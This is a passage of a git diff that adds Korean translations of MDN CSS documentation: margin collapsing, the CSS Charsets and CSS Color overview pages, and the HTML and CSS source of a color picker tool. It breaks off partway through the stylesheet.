+ <dd>테두리, 안쪽 여백, 인라인 콘텐츠, {{cssxref("height")}}, {{cssxref("min-height")}}, {{cssxref("max-height")}}가 없으면 블록의 {{cssxref("margin-top")}}과 {{cssxref("margin-bottom")}}이 서로 상쇄됩니다.</dd>
+</dl>
+
+<p>다음은 참고할만한 사항입니다.</p>
+
+<ul>
+ <li>(세 개 이상의 여백 사이의) 더 복잡한 여백 상쇄는 위의 기본 상황이 서로 결합되어 발생합니다.</li>
+ <li>위의 규칙은 바깥 여백이 0이어도 적용되므로, 두 번째 규칙을 만족하는 경우 부모의 바깥 여백이 0이건 아니건 자손의 바깥 여백은 부모 밖으로 나오게 됩니다.</li>
+ <li>음수 값을 가진 바깥 여백을 포함할 경우, 상쇄된 여백의 크기는 제일 큰 양수 여백과 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 합이 됩니다.</li>
+ <li>모든 바깥 여백이 음수 값을 가질 경우, 상쇄된 여백의 크기는 제일 작은(음의 방향으로, 절댓값이 제일 큰) 여백의 크기가 됩니다. 인접 요소와 중첩 요소 모두에 적용됩니다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p&gt;The bottom margin of this paragraph is collapsed …&lt;/p&gt;
+&lt;p&gt;… with the top margin of this paragraph, yielding a margin of &lt;code&gt;1.2rem&lt;/code&gt; in between.&lt;/p&gt;
+
+&lt;div&gt;This parent element contains two paragraphs!
+ &lt;p&gt;This paragraph has a &lt;code&gt;.4rem&lt;/code&gt; margin between it and the text above.&lt;/p&gt;
+ &lt;p&gt;My bottom margin collapses with my parent, yielding a bottom margin of &lt;code&gt;2rem&lt;/code&gt;.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p&gt;I am &lt;code&gt;2rem&lt;/code&gt; below the element above.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">div {
+ margin: 2rem 0;
+ background: lavender;
+}
+
+p {
+ margin: .4rem 0 1.2rem 0;
+ background: yellow;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 'auto', 350)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_charsets/index.html b/files/ko/web/css/css_charsets/index.html
new file mode 100644
index 0000000000..484285591d
--- /dev/null
+++ b/files/ko/web/css/css_charsets/index.html
@@ -0,0 +1,44 @@
+---
+title: CSS Charsets
+slug: Web/CSS/CSS_Charsets
+tags:
+ - CSS
+ - CSS Charsets
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Charsets
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Charsets</strong>는 스타일 시트에서 사용하는 문자 집합을 정의할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@charset")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_color/index.html b/files/ko/web/css/css_color/index.html
new file mode 100644
index 0000000000..06d7418de0
--- /dev/null
+++ b/files/ko/web/css/css_color/index.html
@@ -0,0 +1,110 @@
+---
+title: CSS Color
+slug: Web/CSS/CSS_Color
+tags:
+ - CSS
+ - CSS Colors
+ - HTML Colors
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 색상</strong>은 색상, 색상 유형, 색상 혼합, 투명도 및 이러한 색상 효과를 HTML에 적용하는 방법을 다루는 CSS 모듈입니다. {{cssxref("&lt;color&gt;")}} 값을 취하는 모든 CSS 속성이 이 모듈에 속하는건 아니지만 의존성은 가지고 있습니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("color-adjust")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;color&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Applying_color">CSS를 사용하여 HTML 요소에 색상 적용하기</a></dt>
+ <dd>CSS를 사용하여 다양한 유형의 콘텐츠에 색상을 적용하는 방법에 대한 안내서입니다. 모든 색상 관련 CSS 속성이 적용됩니다.​</dd>
+</dl>
+
+<h2 id="도구">도구</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Colors/Color_picker_tool">색상 선택 도구</a></dt>
+ <dd>이 도구를 사용하면 맞춤 색상을 쉽게 만들고 조정하고 실험 할 수 있습니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Colors')}}</td>
+ <td>{{Spec2('CSS3 Colors')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<h3 id="color_속성"><code>color</code> 속성</h3>
+
+<div>
+
+
+<p>{{Compat("css.properties.color")}}</p>
+
+<h3 id="color-adjust_속성"><code>color-adjust</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.color-adjust")}}</p>
+
+<h3 id="opacity_속성"><code>opacity</code> 속성</h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("css.properties.opacity")}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 사양의 일부 색상 관련 속성 : {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li>
+ <li>CSS에서는 그레이디언트가 색상이 아니라 <a href="/ko/docs/Web/CSS/CSS_Images">이미지</a>입니다.</li>
+</ul>
diff --git a/files/ko/web/css/css_colors/color_picker_tool/index.html b/files/ko/web/css/css_colors/color_picker_tool/index.html
new file mode 100644
index 0000000000..f5437c05b5
--- /dev/null
+++ b/files/ko/web/css/css_colors/color_picker_tool/index.html
@@ -0,0 +1,3238 @@
+---
+title: Color picker tool
+slug: Web/CSS/CSS_Colors/Color_picker_tool
+translation_of: Web/CSS/CSS_Colors/Color_picker_tool
+---
+<div style="display: none;">
+<h2 id="ColorPicker_Tool" name="ColorPicker_Tool">ColorPicker tool</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">    &lt;div id="container"&gt;
+        &lt;div id="palette" class="block"&gt;
+            &lt;div id="color-palette"&gt;&lt;/div&gt;
+            &lt;div id="color-info"&gt;
+                &lt;div class="title"&gt; CSS Color &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="picker" class="block"&gt;
+            &lt;div class="ui-color-picker" data-topic="picker" data-mode="HSL"&gt;&lt;/div&gt;
+            &lt;div id="picker-samples" sample-id="master"&gt;&lt;/div&gt;
+            &lt;div id="controls"&gt;
+                &lt;div id="delete"&gt;
+                    &lt;div id="trash-can"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+                &lt;div id="void-sample" class="icon"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="canvas" data-tutorial="drop"&gt;
+            &lt;div id="zindex" class="ui-input-slider" data-topic="z-index" data-info="z-index"
+                data-max="20" data-sensivity="10"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/*
+ * COLOR PICKER TOOL
+ */
+
+.ui-color-picker {
+ width: 420px;
+ margin: 0;
+ border: 1px solid #DDD;
+ background-color: #FFF;
+ display: table;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+}
+
+.ui-color-picker .picking-area {
+ width: 198px;
+ height: 198px;
+ margin: 5px;
+ border: 1px solid #DDD;
+ position: relative;
+ float: left;
+ display: table;
+}
+
+.ui-color-picker .picking-area:hover {
+ cursor: default;
+}
+
+/* HSV format - Hue-Saturation-Value(Brightness) */
+.ui-color-picker .picking-area {
+ background: url('https://mdn.mozillademos.org/files/5707/picker_mask_200.png') center center;
+
+ background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -moz-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -webkit-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -ms-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+ background: -o-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%),
+ -o-linear-gradient(left, #FFF 0%, rgba(255, 255, 255, 0) 100%);
+
+ background-color: #F00;
+}
+
+/* HSL format - Hue-Saturation-Lightness */
+.ui-color-picker[data-mode='HSL'] .picking-area {
+ background: -moz-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -moz-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background: -webkit-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -webkit-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background: -ms-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -ms-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background: -o-linear-gradient(top, hsl(0, 0%, 100%) 0%, hsla(0, 0%, 100%, 0) 50%,
+ hsla(0, 0%, 0%, 0) 50%, hsl(0, 0%, 0%) 100%),
+ -o-linear-gradient(left, hsl(0, 0%, 50%) 0%, hsla(0, 0%, 50%, 0) 100%);
+ background-color: #F00;
+}
+
+.ui-color-picker .picker {
+ width: 10px;
+ height: 10px;
+ border-radius: 50%;
+ border: 1px solid #FFF;
+ position: absolute;
+ top: 45%;
+ left: 45%;
+}
+
+.ui-color-picker .picker:before {
+ width: 8px;
+ height: 8px;
+ content: "";
+ position: absolute;
+ border: 1px solid #999;
+ border-radius: 50%;
+}
+
+.ui-color-picker .hue,
+.ui-color-picker .alpha {
+ width: 198px;
+ height: 28px;
+ margin: 5px;
+ border: 1px solid #FFF;
+ float: left;
+}
+
+.ui-color-picker .hue {
+ background: url("https://mdn.mozillademos.org/files/5701/hue.png") center;
+ background: -moz-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ background: -webkit-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ background: -ms-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+ background: -o-linear-gradient(left, #F00 0%, #FF0 16.66%, #0F0 33.33%, #0FF 50%,
+ #00F 66.66%, #F0F 83.33%, #F00 100%);
+}
+
+.ui-color-picker .alpha {
+ border: 1px solid #CCC;
+ background: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+}
+
+.ui-color-picker .alpha-mask {
+ width: 100%;
+ height: 100%;
+ background: url("https://mdn.mozillademos.org/files/6089/alpha_mask.png");
+}
+
+.ui-color-picker .slider-picker {
+ width: 2px;
+ height: 100%;
+ border: 1px solid #777;
+ background-color: #FFF;
+ position: relative;
+ top: -1px;
+}
+
+/* input HSV and RGB */
+
+.ui-color-picker .info {
+ width: 200px;
+ margin: 5px;
+ float: left;
+}
+
+.ui-color-picker .info * {
+ float: left;
+}
+
+.ui-color-picker .input {
+ width: 64px;
+ margin: 5px 2px;
+ float: left;
+}
+
+.ui-color-picker .input .name {
+ height: 20px;
+ width: 30px;
+ text-align: center;
+ font-size: 14px;
+ line-height: 18px;
+ float: left;
+}
+
+.ui-color-picker .input input {
+ width: 30px;
+ height: 18px;
+ margin: 0;
+ padding: 0;
+ border: 1px solid #DDD;
+ text-align: center;
+ float: right;
+
+ -moz-user-select: text;
+ -webkit-user-select: text;
+ -ms-user-select: text;
+}
+
+.ui-color-picker .input[data-topic="lightness"] {
+ display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="value"] {
+ display: none;
+}
+
+.ui-color-picker[data-mode='HSL'] .input[data-topic="lightness"] {
+ display: block;
+}
+
+.ui-color-picker .input[data-topic="alpha"] {
+ margin-top: 10px;
+ width: 93px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; .name {
+ width: 60px;
+}
+
+.ui-color-picker .input[data-topic="alpha"] &gt; input {
+ float: right;
+}
+
+.ui-color-picker .input[data-topic="hexa"] {
+ width: auto;
+ float: right;
+ margin: 6px 8px 0 0;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; .name {
+ display: none;
+}
+
+.ui-color-picker .input[data-topic="hexa"] &gt; input {
+ width: 90px;
+ height: 24px;
+ padding: 2px 0;
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+/* Preview color */
+.ui-color-picker .preview {
+ width: 95px;
+ height: 53px;
+ margin: 5px;
+ margin-top: 10px;
+ border: 1px solid #DDD;
+ background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png");
+ float: left;
+ position: relative;
+}
+
+.ui-color-picker .preview:before {
+ height: 100%;
+ width: 50%;
+ left: 50%;
+ top: 0;
+ content: "";
+ background: #FFF;
+ position: absolute;
+ z-index: 1;
+}
+
+.ui-color-picker .preview-color {
+ width: 100%;
+ height: 100%;
+ background-color: rgba(255, 0, 0, 0.5);
+ position: absolute;
+ z-index: 1;
+}
+
+.ui-color-picker .switch_mode {
+ width: 10px;
+ height: 20px;
+ position: relative;
+ border-radius: 5px 0 0 5px;
+ border: 1px solid #DDD;
+ background-color: #EEE;
+ left: -12px;
+ top: -1px;
+ z-index: 1;
+ transition: all 0.5s;
+}
+
+.ui-color-picker .switch_mode:hover {
+ background-color: #CCC;
+ cursor: pointer;
+}
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+ height: 20px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ -moz-user-select: none;
+ user-select: none;
+}
+
+.ui-input-slider * {
+ float: left;
+ height: 100%;
+ line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+ margin: 0;
+ padding: 0;
+ width: 50px;
+ text-align: center;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+ width: 90px;
+ padding: 0px 10px 0px 0px;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+ width: 16px;
+ cursor: pointer;
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+ background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+ width: 90px;
+ padding: 0 10px 0 0;
+ text-align: right;
+ text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+ width: 25px;
+ background-color: #2C9FC9;
+ border-radius: 5px;
+ color: #FFF;
+ font-weight: bold;
+ line-height: 14px;
+ text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+ background-color: #379B4A;
+ cursor: pointer;
+}
+
+/*
+ * COLOR PICKER TOOL
+ */
+
+body {
+ max-width: 1000px;
+ margin: 0 auto;
+
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+ box-shadow: 0 0 5px 0 #999;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ -moz-user-select: none;
+ -webkit-user-select: none;
+ -ms-user-select: none;
+ user-select: none;
+
+}
+
+/**
+ * Resize Handle
+ */
+.resize-handle {
+ width: 10px;
+ height: 10px;
+ background: url('https://mdn.mozillademos.org/files/6083/resize.png') center center no-repeat;
+ position: absolute;
+ bottom: 0;
+ right: 0;
+}
+
+[data-resize='both']:hover {
+ cursor: nw-resize !important;
+}
+
+[data-resize='width']:hover {
+ cursor: w-resize !important;
+}
+
+[data-resize='height']:hover {
+ cursor: n-resize !important;
+}
+
+[data-hidden='true'] {
+ display: none;
+}
+
+[data-collapsed='true'] {
+ height: 0 !important;
+}
+
+.block {
+ display: table;
+}
+
+
+/**
+ * Container
+ */
+#container {
+ width: 100%;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ display: table;
+}
+
+/**
+ * Picker Zone
+ */
+
+#picker {
+ padding: 10px;
+ width: 980px;
+}
+
+.ui-color-picker {
+ padding: 3px 5px;
+ float: left;
+ border-color: #FFF;
+}
+
+.ui-color-picker .switch_mode {
+ display: none;
+}
+
+.ui-color-picker .preview-color:hover {
+ cursor: move;
+}
+
+/**
+ * Picker Container
+ */
+
+#picker-samples {
+ width: 375px;
+ height: 114px;
+ max-height: 218px;
+ margin: 0 10px 0 30px;
+ overflow: hidden;
+ position: relative;
+ float: left;
+
+ transition: all 0.2s;
+}
+
+#picker-samples .sample {
+ width: 40px;
+ height: 40px;
+ margin: 5px;
+ border: 1px solid #DDD;
+ position: absolute;
+ float: left;
+ transition: all 0.2s;
+}
+
+#picker-samples .sample:hover {
+ cursor: pointer;
+ border-color: #BBB;
+ transform: scale(1.15);
+ border-radius: 3px;
+}
+
+#picker-samples .sample[data-active='true'] {
+ border-color: #999;
+}
+
+#picker-samples .sample[data-active='true']:after {
+ content: "";
+ position: absolute;
+ background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+ width: 100%;
+ height: 12px;
+ top: -12px;
+ z-index: 2;
+}
+
+#picker-samples #add-icon {
+ width: 100%;
+ height: 100%;
+ position: relative;
+ box-shadow: inset 0px 0px 2px 0px #DDD;
+}
+
+#picker-samples #add-icon:hover {
+ cursor: pointer;
+ border-color: #DDD;
+ box-shadow: inset 0px 0px 5px 0px #CCC;
+}
+
+#picker-samples #add-icon:before,
+#picker-samples #add-icon:after {
+ content: "";
+ position: absolute;
+ background-color: #EEE;
+ box-shadow: 0 0 1px 0 #EEE;
+}
+
+#picker-samples #add-icon:before {
+ width: 70%;
+ height: 16%;
+ top: 42%;
+ left: 15%;
+}
+
+#picker-samples #add-icon:after {
+ width: 16%;
+ height: 70%;
+ top: 15%;
+ left: 42%;
+}
+
+#picker-samples #add-icon:hover:before,
+#picker-samples #add-icon:hover:after {
+ background-color: #DDD;
+ box-shadow: 0 0 1px 0 #DDD;
+}
+
+/**
+ * Controls
+ */
+
+#controls {
+ width: 110px;
+ padding: 10px;
+ float: right;
+}
+
+#controls #picker-switch {
+ text-align: center;
+ float: left;
+}
+
+#controls .icon {
+ width: 48px;
+ height: 48px;
+ margin: 10px 0;
+ background-repeat: no-repeat;
+ background-position: center;
+ border: 1px solid #DDD;
+ display: table;
+ float: left;
+}
+
+#controls .icon:hover {
+ cursor: pointer;
+}
+
+#controls .picker-icon {
+ background-image: url('https://mdn.mozillademos.org/files/6081/picker.png');
+}
+
+#controls #void-sample {
+ margin-right: 10px;
+ background-image: url('https://mdn.mozillademos.org/files/6087/void.png');
+ background-position: center left;
+}
+
+#controls #void-sample[data-active='true'] {
+ border-color: #CCC;
+ background-position: center right;
+}
+
+#controls .switch {
+ width: 106px;
+ padding: 1px;
+ border: 1px solid #CCC;
+ font-size: 14px;
+ text-align: center;
+ line-height: 24px;
+ overflow: hidden;
+ float: left;
+}
+
+#controls .switch:hover {
+ cursor: pointer;
+}
+
+#controls .switch &gt; * {
+ width: 50%;
+ padding: 2px 0;
+ background-color: #EEE;
+ float: left;
+}
+
+#controls .switch [data-active='true'] {
+ color: #FFF;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-color: #777;
+}
+
+/**
+ * Trash Can
+ */
+
+#delete {
+ width: 100%;
+ height: 94px;
+ background-color: #DDD;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-repeat: repeat;
+
+ text-align: center;
+ color: #777;
+
+ position: relative;
+ float: right;
+}
+
+#delete #trash-can {
+ width: 80%;
+ height: 80%;
+ border: 2px dashed #FFF;
+ border-radius: 5px;
+ background: url('https://mdn.mozillademos.org/files/6085/trash-can.png') no-repeat center;
+
+ position: absolute;
+ top: 10%;
+ left: 10%;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+
+ transition: all 0.2s;
+}
+
+#delete[drag-state='enter'] {
+ background-color: #999;
+}
+
+/**
+ * Color Theme
+ */
+
+#color-theme {
+ margin: 0 8px 0 0;
+ border: 1px solid #EEE;
+ display: inline-block;
+ float: right;
+}
+
+#color-theme .box {
+ width: 80px;
+ height: 92px;
+ float: left;
+}
+
+/**
+ * Color info box
+ */
+#color-info {
+ width: 360px;
+ float: left;
+}
+
+#color-info .title {
+ width: 100%;
+ padding: 15px;
+ font-size: 18px;
+ text-align: center;
+ background-image: url('https://mdn.mozillademos.org/files/6071/color-wheel.png');
+ background-repeat:no-repeat;
+ background-position: center left 30%;
+}
+
+#color-info .copy-container {
+ position: absolute;
+ top: -100%;
+}
+
+#color-info .property {
+ min-width: 280px;
+ height: 30px;
+ margin: 10px 0;
+ text-align: center;
+ line-height: 30px;
+}
+
+#color-info .property &gt; * {
+ float: left;
+}
+
+#color-info .property .type {
+ width: 60px;
+ height: 100%;
+ padding: 0 16px 0 0;
+ text-align: right;
+}
+
+#color-info .property .value {
+ width: 200px;
+ height: 100%;
+ padding: 0 10px;
+ font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+ font-size: 16px;
+ color: #777;
+ text-align: center;
+ background-color: #FFF;
+ border: none;
+}
+
+#color-info .property .value:hover {
+ color: #37994A;
+}
+
+#color-info .property .value:hover + .copy {
+ background-position: center right;
+}
+
+#color-info .property .copy {
+ width: 24px;
+ height: 100%;
+ padding: 0 5px;
+ background-color: #FFF;
+ background-image: url('https://mdn.mozillademos.org/files/6073/copy.png');
+ background-repeat: no-repeat;
+ background-position: center left;
+ border-left: 1px solid #EEE;
+ text-align: right;
+ float: left;
+}
+
+#color-info .property .copy:hover {
+ background-position: center right;
+}
+
+
+/**
+ * Color Palette
+ */
+
+#palette {
+ width: 1000px;
+ padding: 10px 0;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-repeat: repeat;
+ background-color: #EEE;
+ color: #777;
+
+ -moz-box-sizing: border-box;
+ -webkit-box-sizing: border-box;
+ box-sizing: border-box;
+}
+
+#color-palette {
+ width: 640px;
+ font-family: Arial, Helvetica, sans-serif;
+ color: #777;
+ float: left;
+}
+
+#color-palette .container {
+ width: 100%;
+ height: 50px;
+ line-height: 50px;
+ overflow: hidden;
+ float: left;
+ transition: all 0.5s;
+}
+
+#color-palette .container &gt; * {
+ float: left;
+}
+
+#color-palette .title {
+ width: 100px;
+ padding: 0 10px;
+ text-align: right;
+ line-height: inherit;
+}
+
+#color-palette .palette {
+ width: 456px;
+ height: 38px;
+ margin: 3px;
+ padding: 3px;
+ display: table;
+ background-color: #FFF;
+}
+
+#color-palette .palette .sample {
+ width: 30px;
+ height: 30px;
+ margin: 3px;
+ position: relative;
+ border: 1px solid #DDD;
+ float: left;
+ transition: all 0.2s;
+}
+
+#color-palette .palette .sample:hover {
+ cursor: pointer;
+ border-color: #BBB;
+ transform: scale(1.15);
+ border-radius: 3px;
+}
+
+#color-palette .controls {
+}
+
+#color-palette .controls &gt; * {
+ float: left;
+}
+
+#color-palette .controls &gt; *:hover {
+ cursor: pointer;
+}
+
+#color-palette .controls .lock {
+ width: 24px;
+ height: 24px;
+ margin: 10px;
+ padding: 3px;
+ background-image: url('https://mdn.mozillademos.org/files/6077/lock.png');
+ background-repeat: no-repeat;
+ background-position: bottom right;
+}
+
+#color-palette .controls .lock:hover {
+ /*background-image: url('images/unlocked-hover.png');*/
+ background-position: bottom left;
+}
+
+#color-palette .controls .lock[locked-state='true'] {
+ /*background-image: url('images/locked.png');*/
+ background-position: top left ;
+}
+
+#color-palette .controls .lock[locked-state='true']:hover {
+ /*background-image: url('images/lock-hover.png');*/
+ background-position: top right;
+}
+
+/**
+ * Canvas
+ */
+
+#canvas {
+ width: 100%;
+ height: 300px;
+ min-height: 250px;
+ border-top: 1px solid #DDD;
+ background-image: url('https://mdn.mozillademos.org/files/6025/grain.png');
+ background-repeat: repeat;
+ position: relative;
+ float: left;
+}
+
+#canvas[data-tutorial='drop'] {
+ text-align: center;
+ font-size: 30px;
+ color: #777;
+}
+
+#canvas[data-tutorial='drop']:before {
+ content: "Drop colors here to compare";
+ width: 40%;
+ padding: 30px 9% 70px 11%;
+
+ background-image: url('https://mdn.mozillademos.org/files/6075/drop.png');
+ background-repeat: no-repeat;
+ background-position: left 35px top 60%;
+
+ text-align: right;
+
+ border: 3px dashed rgb(221, 221, 221);
+ border-radius: 15px;
+
+ position: absolute;
+ top: 50px;
+ left: 20%;
+}
+
+#canvas[data-tutorial='drop']:after {
+ content: "adjust, change or modify";
+ width: 40%;
+ font-size: 24px;
+ position: absolute;
+ top: 130px;
+ left: 32%;
+ z-index: 2;
+}
+
+#canvas [data-tutorial='dblclick'] {
+ background-color: #999 !important;
+}
+
+#canvas [data-tutorial='dblclick']:before {
+ content: "double click to activate";
+ width: 80px;
+ color: #FFF;
+ position: absolute;
+ top: 10%;
+ left: 20%;
+ z-index: 2;
+}
+
+#canvas .sample {
+ width: 100px;
+ height: 100px;
+ min-width: 20px;
+ min-height: 20px;
+ position: absolute;
+ border: 1px solid rgba(255, 255, 255, 0.3);
+}
+
+#canvas .sample:hover {
+ cursor: move;
+}
+
+#canvas .sample[data-active='true']:after {
+ content: "";
+ position: absolute;
+ background: url('https://mdn.mozillademos.org/files/6065/arrow.png') center no-repeat;
+ width: 100%;
+ height: 12px;
+ top: -12px;
+ z-index: 2;
+}
+
+#canvas .sample:hover &gt; * {
+ cursor: pointer;
+ display: block !important;
+}
+
+#canvas .sample .resize-handle {
+ display: none;
+}
+
+#canvas .sample .pick {
+ width: 10px;
+ height: 10px;
+ margin: 5px;
+ background: url('https://mdn.mozillademos.org/files/6079/pick.png') center no-repeat;
+ position: absolute;
+ top: 0;
+ left: 0;
+ display: none;
+}
+
+#canvas .sample .delete {
+ width: 10px;
+ height: 10px;
+ margin: 5px;
+ background: url('https://mdn.mozillademos.org/files/6069/close.png') center no-repeat;
+ position: absolute;
+ top: 0;
+ right: 0;
+ display: none;
+}
+
+
+/**
+ * Canvas controls
+ */
+
+#canvas .toggle-bg {
+ width: 16px;
+ height: 16px;
+ margin: 5px;
+ background: url("images/canvas-controls.png") center left no-repeat;
+ position: absolute;
+ top: 0;
+ right: 0;
+}
+
+#canvas .toggle-bg:hover {
+ cursor: pointer;
+}
+
+#canvas[data-bg='true'] {
+ background: none;
+}
+
+#canvas[data-bg='true'] .toggle-bg {
+ background: url('https://mdn.mozillademos.org/files/6067/canvas-controls.png') center right no-repeat;
+}
+
+#zindex {
+ height: 20px;
+ margin: 5px;
+ font-size: 16px;
+ position: absolute;
+ opacity: 0;
